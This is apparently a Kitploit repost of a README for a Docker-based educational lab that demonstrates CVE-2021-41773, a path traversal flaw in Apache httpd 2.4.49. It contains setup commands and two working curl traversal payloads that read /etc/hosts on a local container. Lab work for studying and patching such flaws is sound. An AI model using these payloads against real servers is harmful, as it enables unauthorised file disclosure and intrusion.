CVE-2021-41773 — 基于Docker的教育实验室，演示针对Apache httpd 2.4.49的CVE-2021-41773路径遍历漏洞利用，包含基于curl的利用命令。 | Kitploit

CVE-2021-41773 (仅 Apache httpd 2.4.49)

仅供教育目的。

详情请参阅参考资料。

运行

$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773

利用

# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts

参考资料

修复提交厂商公告